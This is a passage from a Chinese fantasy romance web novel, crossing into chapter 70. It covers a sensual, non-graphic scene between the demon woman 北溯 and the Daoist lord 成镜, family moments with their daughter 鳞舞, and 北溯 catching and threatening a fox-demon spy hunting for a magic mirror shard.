掌心下的胸膛托着她的手一起一伏,北溯瞧着他白皙的肌肤看,忽然伸手捏了一下他,立刻泛红,她声音愉悦:“道君吃的什么东西,皮肤这么白。” 他不言,只咬着唇,不让自己发出声音。 北溯见他这样,坏心地想试试他能忍到什么时候。她俯下身,稍稍动了身子,还没动呢,就被人掐着腰提起来。 成镜瞬间坐起身,腿绷紧,不让她乱动。 出口的声音已经听不出他原本清冷的音色:“别动。” 他双臂用力到青筋暴起,身子一挺直,被扯开的衣衫滑落到臂弯,露出肩背,大臂上的肌肉线条被看得一清二楚。 手都用来桎梏北溯,穿不了衣衫。 他也没意识到自己现在衣衫不整,在北溯眼里,半露着,衣衫褪下,发丝凌乱,身体反应那么诚实,他还嘴硬。 北溯看了一会他的脸,被这样直白的目光盯着,他似乎不大好意思,别开眼。北溯视线缓缓往下,扫过他分布匀称的腹肌,裤腰封锁了她的视线,不过那轮廓挺阔,瞧着不一般。 “唔……”北溯再一看他掐自己腰的手,为了不让她碰,还特地将她提起来,留了空隙。 瞧见他手背节节青筋,用力得手都发红,北溯真想使坏就这么坐下去。 “你不累吗?” 她掰开他的手,被他又一把抓了回去。 北溯皱眉看他,这人不看自己,也不松手,这是想继续? 眼前的美色确实哪哪都合她心意,越看,越想动手,但他又不愿意在这里。 环视四周,发觉他不知什么时候布下了结界。 唇角微扬,她挑了他脸侧的一缕发丝,笑道:“原来道君早有准备。” 成镜没明白她说的是什么,稍微松了力道,声音压抑着说:“先回去。” 北溯依旧笑着,漫不经心说了声:“好呀。” 成镜松了口气,松开手,旋即就见她猛然坐下来。动作太快,他根本来不及反应,声音溢出。 那一刻脑海里似乎有烟花炸开,身体迅速窜上酥爽之感,他下意识抓住什么东西,身子绷紧,残存的理智告诉他,不能太露骨。 而这酥爽停留得很短,带来这感觉的女子很快站起身,离开了他。箭搭上了弓,却射不出去,难受得紧。 北溯没管自己,站起来的时候有点不舒服,干脆坐在扶手上,垂眸瞧着这个被自己激得情难自禁的男人,脸上没了笑。 “道君现在觉得怎么样?” 男人好像没什么力气,靠在椅子上,衣衫敞开,呼吸粗重,胸膛快速起伏,莹润的肌肤上很快泛起绯红。 他的眼神迷离,理智被覆盖,发丝落在唇边,红艳的唇含着发丝,全都是涩气。 莲香浓郁到空气里都能看到成团的白雾,将他们包裹在其中,浓得都不似莲。 成镜知道她这是在报复自己,堪堪抬手,去拢自己的衣衫,一低头就看到自己身体的反应,脑中空白,下意识仰头望向自己唯一能求助的人。 他的目光太纯粹,看得北溯忽然就内疚起来。 气就这么暂时消了。 她站在地上,伸手给他拉衣衫,撕裂了一块,但是能穿。帮他理好,将腰封捡起来放到他腰上。他人好像被她刺激过头了,还没反应过来。 眼睫上不知什么时候带了水雾,看着像是被她欺负狠了,哭了出来。 他怎么这么纯?这都能哭出来?她又没真的做。 北溯忽然想到个问题,刚才她动手的时候,他的反应很生涩,像是没经历过这种事一样,那舞宝是怎么来的? “我们之前没做过?” 男人捏着腰封,堪堪遮住自己,听到这句话,难堪又羞恼地回她一句:“当时是神魂交融。” 北溯哦了一声,语出惊人:“那也是神交了啊,你羞什么?” 成镜深吸一口气,没有再说,默默给自己系腰带,摸到断裂的扣眼,手一僵,冲扯坏腰封的罪魁祸首说了一句:“你背对着我。” 北溯眨了眨眼,没有听他的。 他只好解释:“我要换衣衫。” 北溯哦了一声,依旧没转身,“你现在不是可以解释?先前我问你的事,你怎么不说?” 她还记着这事,气没那么容易全消。 成镜现在不好受,只能忍着,心中默念清心咒,许久才将理智找回来些。她不避开,他也有法子换。 衣袖一挥,眨眼的功夫,他便换好了衣衫。青衣整整齐齐,高领,丝毫看不出来方才做了那事。 他站起身,衣袍宽松,北溯正要去瞧,被他挡住了视线。 成镜直接抓着她的手,用了法阵回到重莲殿。 刚落地,立刻松开她,直往囚牢而去,步伐飞快,没有停留,北溯想跟上去都没机会。 禁阵一开,谁都进不去。 趁着鳞舞没有发现,她去换了一身衣衫,身上黏糊糊的,不舒服。 收拾好出来一看,成镜还不在。瞧了眼囚牢,没细想他在里头干什么。 她没去主殿,直接在他寝殿里等他。 不过一会,窗户那探进来一个脑袋,鳞舞喜滋滋说:“我今晚可以和你睡吗?” 北溯走到窗户那,摸着小姑娘脑袋,问她:“你之前有没有和成镜一起睡过?” 鳞舞想了想,说:“藕宝说我两岁就没有和爹爹一起睡了。” 北溯点了头,问:“那你晚上会害怕吗?” 鳞舞摇头,拍拍胸脯,非常自豪:“我不怕!我胆子可大了!” 北溯笑眯眯:“既然不怕,那就自己睡吧。” 鳞舞呆滞了会,难以置信地瞪大眼,伸出一根手指:“为什么不能陪我睡觉呀?就一晚,一晚也不行吗?” 北溯将她这根手指压回去,摇头,说:“不行,今晚我有事情,不方便。” “好哦。”鳞舞失望地点了头,很快发现北溯话里的含义,今晚不行, 那不就是明晚可以嘛!她又高兴起来,重新露出笑:“那我今晚自己睡!” 北溯捏了捏小姑娘脸蛋,又说了几句,等她要走时,拿出个东西给她。 “这个手链你戴着,不要摘下来。”她帮小姑娘戴好,收紧绳,看了会,满意道:“很好看。” 那是一串她刻了法阵的手链,每一颗珠子里都有法阵,效果不同,可以主动激活,也能被动激活。有可以攻击的,还有传送阵这类自保的。 有时候他们不在她身边,有这个在可以防身。 鳞舞很喜欢,晃着手蹦蹦跳跳,突然停下来,扭扭捏捏地让北溯低下头,飞快地在她脸上吧唧一口,立刻跑了。 跑得贼快,一溜烟就进了寝殿。 北溯看笑了,怎么这孩子随她爹,害羞得很。 天快黑时,成镜出了囚牢,路过自己寝殿时,感知到北溯气息,心莫名加快跳动,他停留了会,没有进去。 他先去看了鳞舞,鳞舞见他来,带着笑跑过去,一把抱住他,炫耀似的展示手上的手链。 “这是阿娘送给我的,你有吗?” 成镜看出上头的法阵,没有道破,注意力转到这串手链上,串着的绳子是红色的,上头珠子像玛瑙,颜色是好看的,很符合小孩子的喜好。 “我没有。” 成镜说完,这才发现,从认识到现在,她从没送他一件东西,唯一一次带来的药,还被他打翻了。 他摸了一下珠子,让鳞舞时时刻刻戴着,不要弄丢了。 “阿娘也这么说。”鳞舞看了一会自己的新手链,想起来有件事没说,拉了拉老爹的手,说:“爹爹爹爹,我明天晚上想和阿娘一起睡,可以吗?” 说完,她使劲眨自己的大眼睛,尽量表现出一副可怜的模样,好让老爹答应。 结果被拒绝了。 成镜摇头,说暂时不行。 鳞舞呆愣看自己老爹,闷闷点了头。 “好哦,我自己睡。”她才不会难过呢,自己一个人睡多好,床都是她的。 等成镜走了,她拉着藕宝,问:“我最近表现很差吗?” 藕宝挠挠脑袋,仔细回想她这几天的表现,摇头说:“表现很好呀。张伯伯夸了你好几次,功课次次拿甲,法术也学得很快。” 鳞舞丧着脸,声音颤抖:“那为什么不让我和阿娘睡,就睡一晚上都不行吗?” 她越想越难过。 “爹爹有了阿娘后,不要我了。” “阿娘有了爹爹后,也不要我了” “哇——” 鳞舞一下哭出来,藕宝赶紧安慰她,给她擦眼泪。“没事的没事的,他们可能最近比较忙,过几天就好了。” 成镜听到了鳞舞哭声,不过一会就止了。他没回去看鳞舞,她的性格他了解,脾气来的快,去得也快,也很懂事,基本上没闹过脾气。 在外面听了会,没什么动静后,才回自己的寝殿。里头是黑的,只有她一人的呼吸声。 北溯等了好一会,人终于回来了,烛灯亮起,看到她又换了一身衣衫,还是浅蓝色的。 这次他倒是没有惊讶,接受良好地走过来,不过神色还是不自然。 北溯看着他走近,他也不说话,站在床边静静望着她。 她主动开口:“舞宝要和我睡。” “嗯。”成镜语气平淡:“我拒绝了。” 北溯挑眉,站起身,勾住他的衣领扯开了些,瞧了一眼,她咬的痕迹已经不在了,这么快就没了? “那道君是想与我睡了?” 成镜往后退了一步,避开她的手,凝出莲台,说:“你睡吧。” 他坐上莲台,吸收灵气。 北溯垂眸看那莲台,上面也有邪气,但似乎被什么东西束缚着,只能涌入他身体里。 她坐在床上,支着下巴看他。 这次他没背对着她,不过闭了眼,侧身对着。 原本平稳的呼吸逐渐加快,身子逐渐紧绷,她的目光存在感太强,根本忽视不了。 最后还是溃败下来,张开眼看她。 一眼对上她笑着的眼眸。 “道君继续,不用管我。” 成镜没办法继续,他下了莲台,将莲台收回体内,随后习惯性地褪下外袍,等只剩下里面那件薄衫时,立刻清醒。 中衣拿在手里,穿也不是,不穿也不是。 他习惯了只穿一件薄衫休息,但现在寝殿内多了一个人,这么做,如入蛇口。 迎着女子调笑的目光,他将衣衫放好,走到床边,开口说:“夜深,该休息了。” 北溯让开道,没有先躺下,便是要让他睡里侧,但成镜不愿。 “我歇在外侧。” 他等她先躺下,她却不想睡在里头,僵持着谁也没躺下。 成镜欲言又止,想起昨晚难得休息得好,她没有再对他做些什么,主动退让,往里躺。 北溯这才满意,在外侧躺下,与昨晚一样,侧着身子,手伸进他衣衫里,摸着他光滑的腰侧,闭上眼。 成镜却因她这一动作神经紧绷,她的掌心温凉,明明不热,被她触碰的地方却像火烧一样。 他以为自己能忍住,煎熬片刻后,还是开了口:“拿走你的手。” 但她没有回应,她好像睡着了,手一动不动放在那。 成镜也不知她这是什么特殊癖好,想拿走她的手,刚碰上去,她忽然说话:“不想睡,我们做点别的。” 北溯睁开眼,绿瞳盯着他:“比如,我吸收你身上的邪气,让你再吐口血。” 【终章】 第70章 她说着,真就开始吸收邪气。 北溯看不懂这个人,在某些事上执拗得很,真动起手来他也不反抗,却不会改变决定,让她恼火得很。 即使疼,也忍着不说。真想知道他忍耐的极限在哪,是不是就算将他的心挖出来,他也不会说疼。 等他不动了,任由她把手放在那,才停止吸收邪气。 北溯依旧侧着身子,脑袋枕着小臂,看他的侧脸。他闭着眼,发丝垂于脑后,耳朵露出来,红彤彤的,熟透了一样。 她问他:“你要怎么解决异种裂缝?魔界深渊里面那些异种一爬出来,很快就会跑到人界。” 即便是入神境,能承受天罚,也无法保证能活下来。她不知成镜是否有其他保命的法器在,但他再受天罚,不死也伤。 成镜睁开眼,偏头看她。或许是因为不记得人族与昆仑对她的伤害,她现在戾气没那么重,比之前温柔很多。 一阵恍惚,如果自己遇到的是现在的她,或许一切又会不一样。 他其实不懂喜欢是什么,活了三百多年,还像张白纸。没人告诉他,除了修炼,保护人间,还有别的事可以做。 突然来了这么一个人,对他做了那些从未见过的事,将这张白纸染上与她一样的颜色。从某种程度上来说,是她将他带入另一种领域,带他接触到,何为情欲,何为求而不得,叫他开了窍。 她在他身上留下的痕迹已经刻骨铭心,永难忘记。 但她,好像从未表现过一丝喜欢,几次吻他,差点真做了,也看不出她是因为喜欢他,才那么做。 只像是她在发泄,又或是将他当做可以随意索取的工具。 她对谁,都可以这么做吗? 成镜静静看着她,面上平静,眼神却无法控制地流露出了痛苦。如果不是她,他也不会变成现在这副模样,像个小丑,被她来回耍弄。 “我会处理好。”他能感受到她按在自己腰间那只手的温度,她的体温好像从来都是温凉的,一点都不热。 他想了想,又说:“异种不会威胁到你。” 北溯不在乎这个,她不关心异种杀谁,只要不碰到她的底线,一切都无所谓。 捏了捏掌心下稍微放松下来的腰身,知道没法在他嘴里问到什么,干脆闭上眼,不再说话。 静谧的月光照射进来,洒在各有心事的两人身上。 成镜很想碰碰她,有时候看着她时,总觉得眼前的女子是幻觉,一切都是他的幻想。想碰碰她,碰到她真实存在的身体,心才会踏实。 尽管现在她的手就在自己身上。 说着要囚禁她,要报复她,可他还是没有这么做。 他在心里对她说,好梦。 北溯确实做了一个梦,那是一片海,圆月高悬,海面上盛放着一朵巨大莲花,墨发男人躺在上面,而自己,缠在他身上,咬他的唇,咬他的脖颈。 他反抗,她就绑住他双手,禁锢他,压制得他只能被迫接受她的侵入。 她听到男人喘着气,说:“不要。” 北溯醒来后,望着空了的里侧,房间里只有他身上的莲香。 冷哼一声,她下了床,收拾好自己,出去一看,太阳已经高高挂起。往寝殿内看了眼,里头没什么东西。这几晚睡得格外沉,不大对劲。 她的警惕心向来很高,一点动静都会将她从睡梦中唤醒,然而连续好几晚都一觉到天亮。 不太对劲。 成镜和舞宝都不在,只有她。本想去逛逛道宗,刚出了禁阵,还没下山,感知到一缕熟悉的气息,用敛息术隐去身形,等了一会,瞧见个鬼鬼祟祟的人。 熟人。 北溯跟在他身后,走到小破屋那,见他在墙角画了什么就走了,上前一看,是个小法阵,威力不大,能摧毁小破屋。 她再看向已经走远的人,将法阵抹去,跟上他。 他下了九重山,直接去了镇魔塔。他似乎被选来看守镇魔塔,与弟子交接过后,他留了下来。 各种打补丁的阵法堪堪将里头的入魔的弟子困住,镇魔塔上满是裂纹,摇摇欲坠。 青柚在镇魔塔边上坐着,盯着塔外的阵法看,过了一会,站起来往阵法靠,他没动手,只这么盯着看。 北溯耐心等到下一班来看守镇魔塔的弟子过来与他换班,跟着他离开,半路上直接将他绑走。 逼仄的山洞内,她把人一扔,站在他面前,冷脸质问:“你想对重莲殿里的人做些什么?” 青柚一见是她,吓得往后缩,白着一张脸,声音颤抖:“我没有……” “你可要想好了,不如实说,我现在就能杀了你。”她威胁起人来,脸一冷,声音压低,压迫力就来了,再加上实力差距太大,很好拿捏。 青柚本来以为她被成镜选走后,会告密,提心吊胆好几天都没敢动手,但自己也没被抓,就壮着胆子去完成自己的任务,结果刚动手,就被抓到了。 他本想豁出去,干脆死在她手里,绝对不会说出自己来道宗的目的,但一听她的话,心都快被吓出来。 “你若不说,我将你提到妖界,直接问妖王。” 青柚面无血色,唇都颤着。知道自己逃不出她手心,刚想自缢,就被控制着身体,动都动不了。 “你不说,我也可以直接去妖界问,或者把道宗的人都带着,再带上你的尸体,直接以你潜伏在道宗妄图杀害成镜为由,去灭了妖界。” 青柚年纪小,没经历过外界的险恶,直接被吓得什么都说出来了。 “我说,是长老要我来道宗,取到道宗一件至宝。” 北溯扫了眼他小白花一样的外表,修为低得一到九重山就会被发现,妖族派他来,怕是只是派他来探探路,根本没抱希望他能把东西找到。 “什么至宝?” 青柚形容了一下:“就是一块镜子,碎了的那种。” 北溯想起来在苍岩山上看到的那块碎的镜片,那东西确实有点用处,能分割空间,但不是完整品,用处不大,妖界要这个东西做什么? “你找到了?” 青柚又怕又慌,觉得自己说完,差不多就要被杀了,任务没有完成,还泄露了出去。可他真的很害怕。 “没有……那东西就在九重山——” “那你在重莲殿外的屋子上设的阵法,用来干什么的?” 青柚瞪大眼,没想到这个也被发现了,他犹豫了一下,说:“那间屋子里好像有一块……” 他的话刚说完,浑身一松,眼前的女子消失不见。 青柚想走,但两腿发软,靠在岩壁上缓了一会,刚要走,那女子又回来了。 “你最好现在就回妖界,再让我碰见你去重莲殿那做些什么,小心你的脑袋。”北溯威胁完,亮出一把火,岩洞内温度立刻升高,高得能将人融化。 青柚连连点头,又被问:“你什么怎么掩盖身上的妖气的?” 他心惊胆战,盯着那火,快速说:“我族的秘术,还有长老给的法宝。” “给我看看。” 那是块掌心大小的镜片,上头散发的气息足以将他身上的妖气掩盖,她拿起来看了眼,镜片灰蒙蒙的,照不出人脸。 “长老给的?” 青柚点头,“长老说这个是神器。” 北溯还给了他,“这东西就是你要的法宝。” 青柚摇头,说不是:“这个是长老给我掩盖妖气的,不是……”他忽然反应过来,扒拉着镜片来回看,这东西长得和长老要找的法宝一模一样。 “我……” “回妖界,这不是什么好东西。” 北溯丢下这句话,直接离开。 青柚看着手里的法宝,不明白长老为什么不直接说照着这个镜片去找,这不是同一个东西吗? 他想不通,又想到女子对自己的警告,想了很久,还是决定先留下来,任务没完成,回去会被罚的。 北溯不知道这只狐狸的打算,她回了小屋那,在外面等了会,张伯伯看到她,停下授课,走出来问:“你要找鳞舞?” 她摇了头,朝里头兴高采烈看自己的小姑娘笑了笑,对张伯伯说:“借一步说话。” 走到小姑娘看不见也听不着的地方,她直接问:“成镜可有说过为何只在这间屋内教舞宝,而不是去重莲殿里?” 张伯伯仔细回想,半天才想起来:“道君那时是为了方便我,进进出出太麻烦,直接设在这里,且九重山很少有人来,不会被打搅。” 北溯又问:“你来教舞宝时,这间屋子已经建造好了?” 张伯伯点头,疑惑道:“可是有哪里不妥?” 北溯摇头,让张伯伯回去继续教鳞舞。 她不明白的是,为何成镜不亲自教舞宝,而是请了个非道宗的人来教。这些年张伯伯一直住在九重山上,教了鳞舞五六年,道宗也没多说什么。 成镜在道宗的权力这么大? 她在外头等着舞宝结束今日的学习,看着张伯伯夹着书册离开,小屋里空空的。 “你在外面等着,不要进来。” 北溯特地设了结界,仔细查看这座小屋,她没有动用妖力,只用邪气,在探查到正面墙上中央那一块挂着的字画时,察觉到了熟悉的空间波动。 她将那字画揭下来,墙面光滑,看不出异样。她挥手,邪气击入,却没什么反应。邪气被波动的空间吞了。 她直接敲碎墙面,清脆一声响,一块镜片掉落,那是个光滑锃亮的镜片。 北溯抬脚,直接踩碎。 与此同时,吞云殿内的人手抽动,不住地颤抖。天綪掐住手腕,阻止手颤动,阴冷的目光投向重莲殿的方向。 火将镜片熔化,蒸发,北溯卸了结界,走出去,牵着舞宝的手,带她回去。 鳞舞不知道发生了什么,但是被阿娘牵手,阿娘还等她放学,心里很开心。她一路蹦蹦跳跳,说着自己遇到的有趣的事,藕宝也跟着附和。 北溯听着她的欢声笑语,隐去眼底的凶戾,时不时应几句。 成镜不知去干了什么,很晚才回来。 等他从舞宝那问过话,回寝殿时,北溯立刻设了隔音结界,坐在床上,看他走过来。 “天綪什么时候开始盯上舞宝的?” 成镜敏锐感知到今日该是发生了什么事,他回答:“自她出生起。” 北溯点了头,没再说话,但很明显,她心情不大好。 成镜本想先打坐一会,恢复灵力,刚坐上莲台,就听她说:“你知道我为什么会失去那部分记忆吗?” 他心口一跳,不敢看她。 “我的身体里缺了一部分,邪气可以填补。”北溯站起身,来到他面前,垂眸俯视他,语气微妙。 “你说我要是把你身上的邪气都吸收回来,是不是就能填补缺失的那一部分,记忆,也能回来?”